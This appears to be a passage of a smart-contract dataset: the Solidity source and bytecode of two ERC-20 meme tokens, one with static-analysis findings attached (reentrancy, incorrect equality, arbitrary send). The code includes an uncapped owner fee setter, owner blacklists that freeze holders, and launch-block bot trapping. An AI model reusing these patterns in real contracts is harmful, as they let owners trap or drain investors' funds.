(uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; } function setMaxTxn(uint256 max) external onlyOwner() { require(max >= 2); _maxtxn = max; } function setMaxONOFF(bool onoff ) external onlyOwner() { _enableMaxTxn = onoff; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12, "not larger than 12%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x6080604052600436106101855760003560e01c8063814c56c9116100d1578063c9567bf91161008a578063dd62ed3e11610064578063dd62ed3e146104a3578063e6ec64ec146104e9578063f2fde38b14610509578063fc588c041461052957600080fd5b8063c9567bf91461044e578063cf0848f714610463578063cf9d4afa1461048357600080fd5b8063814c56c9146103735780638da5cb5b1461039357806390d49b9d146103bb57806395d89b41146103db578063a9059cbb1461040e578063b515566a1461042e57600080fd5b806331c2d8471161013e578063476343ee11610118578063476343ee146102f05780635342acb41461030557806370a082311461033e578063715018a61461035e57600080fd5b806331c2d847146102775780633bbac57914610297578063437823ec146102d057600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ee57806318160ddd1461021e57806323b872dd14610243578063313ce5671461026357600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610549565b005b3480156101b457600080fd5b5060408051808201909152600b81526a4d696b6173612054616d6160a81b60208201525b6040516101e59190611a43565b60405180910390f35b3480156101fa57600080fd5b5061020e610209366004611abd565b610595565b60405190151581526020016101e5565b34801561022a57600080fd5b50670de0b6b3a76400005b6040519081526020016101e5565b34801561024f57600080fd5b5061020e61025e366004611ae9565b6105ac565b34801561026f57600080fd5b506009610235565b34801561028357600080fd5b506101a6610292366004611b40565b610615565b3480156102a357600080fd5b5061020e6102b2366004611c05565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102dc57600080fd5b506101a66102eb366004611c05565b6106ab565b3480156102fc57600080fd5b506101a66106f9565b34801561031157600080fd5b5061020e610320366004611c05565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561034a57600080fd5b50610235610359366004611c05565b610733565b34801561036a57600080fd5b506101a6610755565b34801561037f57600080fd5b506101a661038e366004611c22565b61078b565b34801561039f57600080fd5b506000546040516001600160a01b0390911681526020016101e5565b3480156103c757600080fd5b506101a66103d6366004611c05565b6107d3565b3480156103e757600080fd5b5060408051808201909152600a8152694d494b41534154414d4160b01b60208201526101d8565b34801561041a57600080fd5b5061020e610429366004611abd565b61084d565b34801561043a57600080fd5b506101a6610449366004611b40565b61085a565b34801561045a57600080fd5b506101a6610973565b34801561046f57600080fd5b506101a661047e366004611c05565b610a1a565b34801561048f57600080fd5b506101a661049e366004611c05565b610a65565b3480156104af57600080fd5b506102356104be366004611c44565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f557600080fd5b506101a6610504366004611c7d565b610cc0565b34801561051557600080fd5b506101a6610524366004611c05565b610d36565b34801561053557600080fd5b506101a6610544366004611c7d565b610dce565b6000546001600160a01b0316331461057c5760405162461bcd60e51b815260040161057390611c96565b60405180910390fd5b600061058730610733565b905061059281610e0b565b50565b60006105a2338484610f85565b5060015b92915050565b60006105b98484846110a9565b61060b843361060685604051806060016040528060288152602001611e11602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906114fc565b610f85565b5060019392505050565b6000546001600160a01b0316331461063f5760405162461bcd60e51b815260040161057390611c96565b60005b81518110156106a75760006005600084848151811061066357610663611ccb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069f81611cf7565b915050610642565b5050565b6000546001600160a01b031633146106d55760405162461bcd60e51b815260040161057390611c96565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156106a7573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a690611536565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161057390611c96565b61078960006115ba565b565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161057390611c96565b600c8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146107fd5760405162461bcd60e51b815260040161057390611c96565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006105a23384846110a9565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161057390611c96565b60005b81518110156106a757600c5482516001600160a01b03909116908390839081106108b3576108b3611ccb565b60200260200101516001600160a01b0316141580156109045750600b5482516001600160a01b03909116908390839081106108f0576108f0611ccb565b60200260200101516001600160a01b031614155b156109615760016005600084848151811061092157610921611ccb565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061096b81611cf7565b915050610887565b6000546001600160a01b0316331461099d5760405162461bcd60e51b815260040161057390611c96565b600c54600160a01b900460ff16610a015760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610573565b600c805460ff60b81b1916600160b81b17905542600d55565b6000546001600160a01b03163314610a445760405162461bcd60e51b815260040161057390611c96565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610a8f5760405162461bcd60e51b815260040161057390611c96565b600c54600160a01b900460ff1615610af75760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610573565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b729190611d12565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be39190611d12565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c549190611d12565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610cea5760405162461bcd60e51b815260040161057390611c96565b600c811115610d315760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b6044820152606401610573565b600855565b6000546001600160a01b03163314610d605760405162461bcd60e51b815260040161057390611c96565b6001600160a01b038116610dc55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610573565b610592816115ba565b6000546001600160a01b03163314610df85760405162461bcd60e51b815260040161057390611c96565b6002811015610e0657600080fd5b600e55565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5357610e53611ccb565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed09190611d12565b81600181518110610ee357610ee3611ccb565b6001600160a01b039283166020918202929092010152600b54610f099130911684610f85565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f42908590600090869030904290600401611d2f565b600060405180830381600087803b158015610f5c57600080fd5b505af1158015610f70573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610fe75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b0382166110485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b03821661116f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b600081116111d15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610573565b6001600160a01b03831660009081526005602052604090205460ff16156112795760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610573565b6001600160a01b03831660009081526004602052604081205460ff161580156112bb57506001600160a01b03831660009081526004602052604090205460ff16155b80156112d15750600c54600160a81b900460ff16155b80156113015750600c546001600160a01b03858116911614806113015750600c546001600160a01b038481169116145b156114ea57600c54600160b81b900460ff1661135f5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610573565b50600c546001906001600160a01b03858116911614801561138e5750600b546001600160a01b03848116911614155b80156113a35750600c54600160c01b900460ff165b156113f45760006113b384610733565b90506113dd60646113d7600e54670de0b6b3a764000061160a90919063ffffffff16565b90611689565b6113e784836116cb565b11156113f257600080fd5b505b600d54421415611422576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061142d30610733565b600c54909150600160b01b900460ff161580156114585750600c546001600160a01b03868116911614155b156114e85780156114e857600c5461148c906064906113d790600f90611486906001600160a01b0316610733565b9061160a565b8111156114b957600c546114b6906064906113d790600f90611486906001600160a01b0316610733565b90505b60006114c6826004611689565b90506114d28183611da0565b91506114dd8161172a565b6114e682610e0b565b505b505b6114f68484848461175a565b50505050565b600081848411156115205760405162461bcd60e51b81526004016105739190611a43565b50600061152d8486611da0565b95945050505050565b600060065482111561159d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610573565b60006115a761185d565b90506115b38382611689565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611619575060006105a6565b60006116258385611db7565b9050826116328583611dd6565b146115b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610573565b60006115b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611880565b6000806116d88385611df8565b9050838110156115b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610573565b600c805460ff60b01b1916600160b01b17905561174a3061dead836110a9565b50600c805460ff60b01b19169055565b8080611768576117686118ae565b600080600080611777876118ca565b6001600160a01b038d16600090815260016020526040902054939750919550935091506117a49085611911565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546117d390846116cb565b6001600160a01b0389166000908152600160205260409020556117f581611953565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183a91815260200190565b60405180910390a3505050508061185657611856600954600855565b5050505050565b600080600061186a61199d565b90925090506118798282611689565b9250505090565b600081836118a15760405162461bcd60e51b81526004016105739190611a43565b50600061152d8486611dd6565b6000600854116118bd57600080fd5b6008805460095560009055565b6000806000806000806118df876008546119dd565b9150915060006118ed61185d565b90506000806118fd8a8585611a0a565b909b909a5094985092965092945050505050565b60006115b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114fc565b600061195d61185d565b9050600061196b838361160a565b3060009081526001602052604090205490915061198890826116cb565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006119b88282611689565b8210156119d457505060065492670de0b6b3a764000092509050565b90939092509050565b600080806119f060646113d7878761160a565b905060006119fe8683611911565b96919550909350505050565b60008080611a18868561160a565b90506000611a26868661160a565b90506000611a348383611911565b92989297509195505050505050565b600060208083528351808285015260005b81811015611a7057858101830151858201604001528201611a54565b81811115611a82576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059257600080fd5b8035611ab881611a98565b919050565b60008060408385031215611ad057600080fd5b8235611adb81611a98565b946020939093013593505050565b600080600060608486031215611afe57600080fd5b8335611b0981611a98565b92506020840135611b1981611a98565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b5357600080fd5b823567ffffffffffffffff80821115611b6b57600080fd5b818501915085601f830112611b7f57600080fd5b813581811115611b9157611b91611b2a565b8060051b604051601f19603f83011681018181108582111715611bb657611bb6611b2a565b604052918252848201925083810185019188831115611bd457600080fd5b938501935b82851015611bf957611bea85611aad565b84529385019392850192611bd9565b98975050505050505050565b600060208284031215611c1757600080fd5b81356115b381611a98565b600060208284031215611c3457600080fd5b813580151581146115b357600080fd5b60008060408385031215611c5757600080fd5b8235611c6281611a98565b91506020830135611c7281611a98565b809150509250929050565b600060208284031215611c8f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d0b57611d0b611ce1565b5060010190565b600060208284031215611d2457600080fd5b81516115b381611a98565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d7f5784516001600160a01b031683529383019391830191600101611d5a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611db257611db2611ce1565b500390565b6000816000190483118215151615611dd157611dd1611ce1565b500290565b600082611df357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611e0b57611e0b611ce1565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200123d96d07f949523a11b7a0da285f940fb8585905197cb5593f13d12ced12b664736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,751
0x54d88Abbc8C92D5860745209bcc34c5B2544Cea3
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /* @STS TG:https://t.me/SharkTaleSmithERC20 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SharkTaleSmith is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SharkTaleSmith"; string private constant _symbol = "STS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x3660002146de872dAe8fdc30FAB421Dc34D0742c); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000000 * 10**9; //2 uint256 public _maxWalletSize = 40000000000000 * 10**9; //4 uint256 public _swapTokensAtAmount = 200000000000 * 10**9; //0.2 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b10565b6106e0565b005b34801561020657600080fd5b5061020f61080a565b60405161021c9190612f6d565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ad0565b610847565b6040516102599190612f37565b60405180910390f35b34801561026e57600080fd5b50610277610865565b6040516102849190612f52565b60405180910390f35b34801561029957600080fd5b506102a261088b565b6040516102af919061314f565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612a3d565b61089d565b6040516102ec9190612f37565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612a90565b610976565b005b34801561032a57600080fd5b50610333610af9565b604051610340919061314f565b60405180910390f35b34801561035557600080fd5b5061035e610aff565b60405161036b91906131c4565b60405180910390f35b34801561038057600080fd5b50610389610b08565b6040516103969190612f1c565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c191906129a3565b610b2e565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612b59565b610c1